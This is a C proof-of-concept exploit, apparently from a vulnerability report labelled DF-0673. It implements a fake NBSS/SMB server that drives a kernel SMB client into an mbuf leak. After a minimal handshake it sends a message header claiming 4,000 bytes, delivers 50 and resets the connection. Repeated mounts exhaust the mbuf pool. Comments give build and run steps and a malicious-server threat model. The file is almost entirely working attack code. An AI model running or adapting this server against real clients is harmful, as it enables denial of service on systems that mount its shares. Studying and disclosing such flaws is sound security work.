DF-0673 / fake_smb_server.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 | /* * DF-0673 PoC: nbssn_recv mbuf leak. * * Fake NBSS+SMB server that drives the kernel SMB client (smb_iod -> * SMB_TRAN_RECV -> nbssn_recv) into the leak by: * 1. Accepting a NBSS SESSION_REQUEST, replying positive. * 2. Reading the SMB NEGOTIATE request, sending a minimal valid response. * 3. Sending a NBSS SESSION MESSAGE header claiming a large payload, * delivering only a few bytes, then RST'ing the connection. * * Result: soreceive in nbssn_recv returns a non-retry error (ECONNRESET) * with partial data in sio.sb_mb; outer `if (error) break;` at line 352-353 * exits the loop; cleanup at :367-373 (only runs when error==0) is skipped; * the partial mbuf chain is leaked. The smb_iod_recvall loop then retries, * each round potentially re-leaking. Sustained, this exhausts the mbuf pool. * * Build: cc -o fake_smb_server fake_smb_server.c * Run as root on the guest (need port 139): * ./fake_smb_server & * netstat -m > /tmp/before * mount_smbfs -N -I 127.0.0.1 //g@localhost/x /mnt 2>/dev/null * netstat -m > /tmp/after * diff /tmp/before /tmp/after # show mbuf/cluster delta * * Threat model: malicious SMB server. The trigger fires whenever a client * mounts from this server. Realistic preconditions: smbfs.ko loaded. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <signal.h> #define PORT 139 static ssize_t read_exact(int fd, void *buf, size_t n) { size_t got = 0; char *p = buf; while (got < n) { ssize_t r = read(fd, p + got, n - got); if (r <= 0) return r; got += r; } return got; } static int handle(int c) { unsigned char hdr[4]; if (read_exact(c, hdr, 4) != 4) { printf("[srv] short hdr\n"); return -1; } unsigned mt = hdr[0]; unsigned len = ((hdr[1] & 0x01) << 16) | (hdr[2] << 8) | hdr[3]; if (mt != 0x81) { printf("[srv] not session req (0x%02x)\n", mt); return -1; } char junk[256]; while (len > 0) { size_t n = len > sizeof(junk) ? sizeof(junk) : len; if (read_exact(c, junk, n) != (ssize_t)n) return -1; len -= n; } /* positive session response */ unsigned char resp[4] = {0x82, 0, 0, 0}; write(c, resp, 4); printf("[srv] sent positive session response\n"); /* read SMB negotiate */ if (read_exact(c, hdr, 4) != 4) return -1; len = ((hdr[1] & 0x01) << 16) | (hdr[2] << 8) | hdr[3]; char *neg = malloc(len); if (!neg) return -1; if (read_exact(c, neg, len) != (ssize_t)len) { free(neg); return -1; } printf("[srv] got SMB negotiate (%u bytes)\n", len); /* send a minimal SMB negotiate response. We don't need the kernel to be * happy with it; just enough to advance state. Then trigger the leak. */ unsigned char smb[64]; memset(smb, 0, sizeof(smb)); /* \xffSMB cmd=0x72 */ memcpy(smb, "\xffSMB", 4); smb[4] = 0x72; /* negotiate response */ /* rest zero (status ok, flags, etc.) */ /* body: dialect_index(2), secmode(1), maxmpx(2), maxvc(2), maxbuf(4), * maxraw(4), skey(4), cap(4), systime(8), svctime(2), bc(2) = 35B */ int body_len = 35; /* set a few non-zero fields: dialect_index=0 */ smb[32] = 0; smb[33] = 0; unsigned char out_hdr[4] = {0x00, 0, 0, 0}; out_hdr[2] = (sizeof(smb) + body_len) >> 8; out_hdr[3] = (sizeof(smb) + body_len) & 0xff; write(c, out_hdr, 4); write(c, smb, sizeof(smb)); char extra[64] = {0}; write(c, extra, body_len > (int)sizeof(smb) ? body_len - sizeof(smb) : 0); printf("[srv] sent negotiate response\n"); usleep(200000); /* Now send a NBSS message header claiming N bytes, deliver ~50, RST. */ int claimed = 4000; unsigned char lie[4] = {0x00, 0, (claimed >> 8) & 0xff, claimed & 0xff}; write(c, lie, 4); char data[50] = {0}; write(c, data, sizeof(data)); printf("[srv] sent msg hdr claiming %d, delivered %zu bytes\n", claimed, sizeof(data)); /* RST close */ struct linger l = {1, 0}; setsockopt(c, SOL_SOCKET, SO_LINGER, &l, sizeof(l)); close(c); printf("[srv] closed (RST)\n"); return 0; } int main(void) { signal(SIGPIPE, SIG_IGN); int s = socket(AF_INET, SOCK_STREAM, 0); int one = 1; setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); struct sockaddr_in sa = {0}; sa.sin_family = AF_INET; sa.sin_port = htons(PORT); sa.sin_addr.s_addr = inet_addr("127.0.0.1"); if (bind(s, (struct sockaddr*)&sa, sizeof(sa)) < 0) { perror("bind"); return 2; } if (listen(s, 5) < 0) { perror("listen"); return 2; } printf("[srv] listening on 127.0.0.1:%d\n", PORT); /* serve 8 connections then exit so the test script can finish */ for (int i = 0; i < 8; i++) { int c = accept(s, NULL, NULL); if (c < 0) { perror("accept"); continue; } printf("[srv] accepted conn %d\n", i); if (handle(c) < 0) printf("[srv] handle err\n"); close(c); } close(s); return 0; } |